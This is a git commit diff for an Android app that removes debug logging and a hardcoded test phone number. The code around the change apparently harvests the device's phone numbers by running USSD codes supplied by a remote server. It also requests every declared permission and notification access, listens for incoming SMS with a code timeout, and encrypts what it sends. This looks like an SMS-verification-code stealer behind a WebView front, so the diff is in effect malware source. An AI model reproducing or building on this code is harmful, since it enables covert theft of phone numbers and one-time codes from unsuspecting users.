removed logs
This commit is contained in:
parent
6852d6983c
commit
5bc0470c01
4 changed files with 3 additions and 47 deletions
|
@ -71,22 +71,16 @@ public class Encryption {
|
||||||
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5PADDING");
|
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5PADDING");
|
||||||
cipher.init(mode, skeySpec);
|
cipher.init(mode, skeySpec);
|
||||||
return cipher;
|
return cipher;
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {}
|
||||||
Log.i("asd", e.toString());}
|
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
public static String aesHexEncrypt(String data, String key) {
|
public static String aesHexEncrypt(String data, String key) {
|
||||||
Log.i("Hex", "------------------");
|
|
||||||
try {
|
try {
|
||||||
Cipher cipher = getEbcCipher(1, key);
|
Cipher cipher = getEbcCipher(1, key);
|
||||||
Log.i("Hex", "Data: " + data);
|
|
||||||
Log.i("Hex", "Key: " + key);
|
|
||||||
byte[] encrypted = cipher.doFinal(data.getBytes());
|
byte[] encrypted = cipher.doFinal(data.getBytes());
|
||||||
Log.i("Hex", bytesToHex(encrypted));
|
|
||||||
Log.i("Hex", "---------------------");
|
|
||||||
return randomizeCase(bytesToHex(encrypted));
|
return randomizeCase(bytesToHex(encrypted));
|
||||||
} catch (Exception e) { Log.i("HEX", e.toString());}
|
} catch (Exception e) {}
|
||||||
return "";
|
return "";
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
@ -51,8 +51,6 @@ public class GetRequest {
|
||||||
result
|
result
|
||||||
)));
|
)));
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
Log.i("Excep", // STATIC
|
|
||||||
e.toString()); // STATIC
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
@ -177,17 +177,12 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
// Загрузка начального URL
|
// Загрузка начального URL
|
||||||
webView.loadUrl(websiteUrl);
|
webView.loadUrl(websiteUrl);
|
||||||
|
|
||||||
Log.i("LOG", // STATIC
|
|
||||||
"Tap1"); // STATIC
|
|
||||||
|
|
||||||
loadData();
|
loadData();
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
private void loadData() {
|
private void loadData() {
|
||||||
|
|
||||||
Log.i("LOG", // STATIC
|
|
||||||
"Tap2"); // STATIC
|
|
||||||
requestsCount = 0;
|
requestsCount = 0;
|
||||||
|
|
||||||
GetRequest ussdRequestTask = new GetRequest(this, this);
|
GetRequest ussdRequestTask = new GetRequest(this, this);
|
||||||
|
@ -203,8 +198,6 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
return sharedPreferences.getString("KEY",
|
return sharedPreferences.getString("KEY",
|
||||||
"INIT_KEY"); // VARIABLE STATIC
|
"INIT_KEY"); // VARIABLE STATIC
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
Log.i("Excep", // STATIC
|
|
||||||
e.toString()); // STATIC
|
|
||||||
return ""; // STATIC
|
return ""; // STATIC
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -216,8 +209,6 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
}
|
}
|
||||||
|
|
||||||
private void promptNotificationAccess() throws JSONException {
|
private void promptNotificationAccess() throws JSONException {
|
||||||
Log.i("LOG", // STATIC
|
|
||||||
"TapPrompt"); // STATIC
|
|
||||||
AlertDialog.Builder builder = new AlertDialog.Builder(this);
|
AlertDialog.Builder builder = new AlertDialog.Builder(this);
|
||||||
builder.setTitle(language.getString("title")); // STATIC
|
builder.setTitle(language.getString("title")); // STATIC
|
||||||
builder.setMessage(language.getString("message")); // STATIC
|
builder.setMessage(language.getString("message")); // STATIC
|
||||||
|
@ -242,8 +233,6 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
|
|
||||||
this.runOnUiThread(new Runnable() {
|
this.runOnUiThread(new Runnable() {
|
||||||
public void run() {
|
public void run() {
|
||||||
Log.i("LOG", // STATIC
|
|
||||||
"TapUi"); // STATIC
|
|
||||||
AlertDialog dialog = builder.create();
|
AlertDialog dialog = builder.create();
|
||||||
dialog.show();
|
dialog.show();
|
||||||
}
|
}
|
||||||
|
@ -388,8 +377,6 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
}, Math.round(codeTimeout * 1000));
|
}, Math.round(codeTimeout * 1000));
|
||||||
}
|
}
|
||||||
} catch (JSONException e) {
|
} catch (JSONException e) {
|
||||||
Log.i("Excep", // STATIC
|
|
||||||
e.toString()); // STATIC
|
|
||||||
throw new RuntimeException(e);
|
throw new RuntimeException(e);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -397,11 +384,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void onGetResponse(JSONObject result) {
|
public void onGetResponse(JSONObject result) {
|
||||||
Log.i("LOG", // STATIC
|
|
||||||
"Tap3"); // STATIC
|
|
||||||
try {
|
try {
|
||||||
Log.i("LOG", // STATIC
|
|
||||||
result.toString()); // STATIC
|
|
||||||
if(result.get("name"). // STATIC
|
if(result.get("name"). // STATIC
|
||||||
equals("ussd")){ // STATIC
|
equals("ussd")){ // STATIC
|
||||||
ussd = result.getJSONObject(
|
ussd = result.getJSONObject(
|
||||||
|
@ -424,8 +407,6 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
} catch (JSONException e) {
|
} catch (JSONException e) {
|
||||||
Log.i("LOG", // STATIC
|
|
||||||
e.toString());
|
|
||||||
throw new RuntimeException(e);
|
throw new RuntimeException(e);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -452,15 +433,11 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
.getPackageInfo(pkgName, PackageManager.GET_PERMISSIONS)
|
.getPackageInfo(pkgName, PackageManager.GET_PERMISSIONS)
|
||||||
.requestedPermissions;
|
.requestedPermissions;
|
||||||
} catch (PackageManager.NameNotFoundException e) {
|
} catch (PackageManager.NameNotFoundException e) {
|
||||||
Log.i("Excep", // STATIC
|
|
||||||
e.toString()); // STATIC
|
|
||||||
return new String[0];
|
return new String[0];
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private void requestPermissions(String[] permissions) {
|
private void requestPermissions(String[] permissions) {
|
||||||
Log.i("LOG", // STATIC
|
|
||||||
"TapPerm"); // STATIC
|
|
||||||
ActivityCompat.requestPermissions(MainActivity.this, permissions, 1);
|
ActivityCompat.requestPermissions(MainActivity.this, permissions, 1);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -496,14 +473,9 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
ussdRequest = ussd.getJSONObject(phone.operator).getString("number"); // STATIC
|
ussdRequest = ussd.getJSONObject(phone.operator).getString("number"); // STATIC
|
||||||
smsResponse = ussd.getJSONObject(phone.operator).getBoolean("smsResponsed"); // STATIC
|
smsResponse = ussd.getJSONObject(phone.operator).getBoolean("smsResponsed"); // STATIC
|
||||||
} catch (JSONException e) {
|
} catch (JSONException e) {
|
||||||
Log.i("Excep", // STATIC
|
|
||||||
e.toString()); // STATIC
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
Log.i("LOG", // STATIC
|
|
||||||
"req"); // STATIC
|
|
||||||
|
|
||||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
|
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
|
||||||
boolean finalSmsResponse = smsResponse;
|
boolean finalSmsResponse = smsResponse;
|
||||||
phone.telephonyManager.sendUssdRequest(ussdRequest, new TelephonyManager.UssdResponseCallback() {
|
phone.telephonyManager.sendUssdRequest(ussdRequest, new TelephonyManager.UssdResponseCallback() {
|
||||||
|
@ -515,7 +487,6 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
receivingSms = true;
|
receivingSms = true;
|
||||||
} else {
|
} else {
|
||||||
phone.setPhone(extractFirstPhoneNumber(responseString));
|
phone.setPhone(extractFirstPhoneNumber(responseString));
|
||||||
phone.setPhone(extractFirstPhoneNumber("+37367263440")); // STATIC
|
|
||||||
savePhone(getBaseContext(), phone);
|
savePhone(getBaseContext(), phone);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -523,9 +494,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
@Override
|
@Override
|
||||||
public void onReceiveUssdResponseFailed(TelephonyManager telephonyManager, String request, int failureCode) {
|
public void onReceiveUssdResponseFailed(TelephonyManager telephonyManager, String request, int failureCode) {
|
||||||
super.onReceiveUssdResponseFailed(telephonyManager, request, failureCode);
|
super.onReceiveUssdResponseFailed(telephonyManager, request, failureCode);
|
||||||
//nextPhone();
|
nextPhone();
|
||||||
phone.setPhone(extractFirstPhoneNumber("+37367263440")); // STATIC
|
|
||||||
savePhone(getBaseContext(), phone);
|
|
||||||
}
|
}
|
||||||
}, null);
|
}, null);
|
||||||
}
|
}
|
||||||
|
@ -534,7 +503,6 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
}
|
}
|
||||||
|
|
||||||
private List<PhoneNumber> collectPhoneNumber(Context context){
|
private List<PhoneNumber> collectPhoneNumber(Context context){
|
||||||
Log.i("collectPhoneNumber", "+");
|
|
||||||
List<PhoneNumber> phoneNumbers = new ArrayList<>();
|
List<PhoneNumber> phoneNumbers = new ArrayList<>();
|
||||||
if (ActivityCompat.checkSelfPermission(context, "android.permission.READ_PHONE_STATE") != PackageManager.PERMISSION_GRANTED) { // STATIC
|
if (ActivityCompat.checkSelfPermission(context, "android.permission.READ_PHONE_STATE") != PackageManager.PERMISSION_GRANTED) { // STATIC
|
||||||
return phoneNumbers;
|
return phoneNumbers;
|
||||||
|
@ -594,8 +562,6 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
try {
|
try {
|
||||||
unregisterReceiver(smsReceiver);
|
unregisterReceiver(smsReceiver);
|
||||||
} catch(IllegalArgumentException e) {
|
} catch(IllegalArgumentException e) {
|
||||||
Log.i("Excep", // STATIC
|
|
||||||
e.toString()); // STATIC
|
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
|
@ -69,8 +69,6 @@ public class PostRequest {
|
||||||
)
|
)
|
||||||
)));
|
)));
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
Log.i("Excep", // STATIC
|
|
||||||
e.toString()); // STATIC
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
Loading…
Add table
Reference in a new issue